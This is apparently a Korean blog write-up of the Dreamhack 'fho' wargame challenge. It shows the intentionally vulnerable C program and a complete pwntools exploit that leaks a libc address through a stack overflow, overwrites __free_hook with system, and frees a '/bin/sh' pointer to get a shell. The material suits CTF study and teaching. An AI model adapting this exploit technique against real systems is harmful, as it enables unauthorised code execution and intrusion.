[Dreamhack] fho

김성진·2022년 7월 17일
0

Dreamhack_System

목록 보기
20/44
post-thumbnail

📒 Description


https://velog.io/@mm0ck3r/Dreamhack-hook
이 문제와 비슷하게 풀면 되겠다. 근데 모든 보호기법이 다 걸려있네 ?


📒 C code

📖 fho.c

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}
  1. buf에서 BOF가 발생한다. 여기서 libc_start_main을 통해 libc_base를 구해야겠다.
  2. 주소와 값을 입력받고 해당하는 주소에 값을 넣어준다. hook overwrite?
  3. free(addr) => system(addr)이므로 addr을 /bin/sh의 주소로 바꾸어주어야 한다.

📒 Expliot

📖 exploit.py

from pwn import *

#p = remote('host1.dreamhack.games', 19093)
p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
__libc_start_main_offset = 0x000000000021b10
system_offset = 0x000000000004f550
__free_hook_offset = 0x00000000003ed8e8
binsh_offset = 0x1b3e1a

payload = 'A' * 0x48
p.recvuntil('Buf: ')
p.send(payload)
p.recvuntil(payload)
__libc_start_main = u64(p.recvn(6) + "\x00\x00") - 231
libc_base = __libc_start_main - __libc_start_main_offset

#--------------------------------------------------------

__free_hook = libc_base + __free_hook_offset
payload = str(__free_hook)
p.recvuntil("To write: ")
p.sendline(payload)

system = libc_base + system_offset
payload = str(system)
#p.interactive()
p.recvuntil("With: ")
p.sendline(payload)

#--------------------------------------------------------

binsh = libc_base + binsh_offset
payload = str(binsh)
p.recvuntil("To free: ")
p.send(payload)

p.interactive()
profile
Today I Learned

0개의 댓글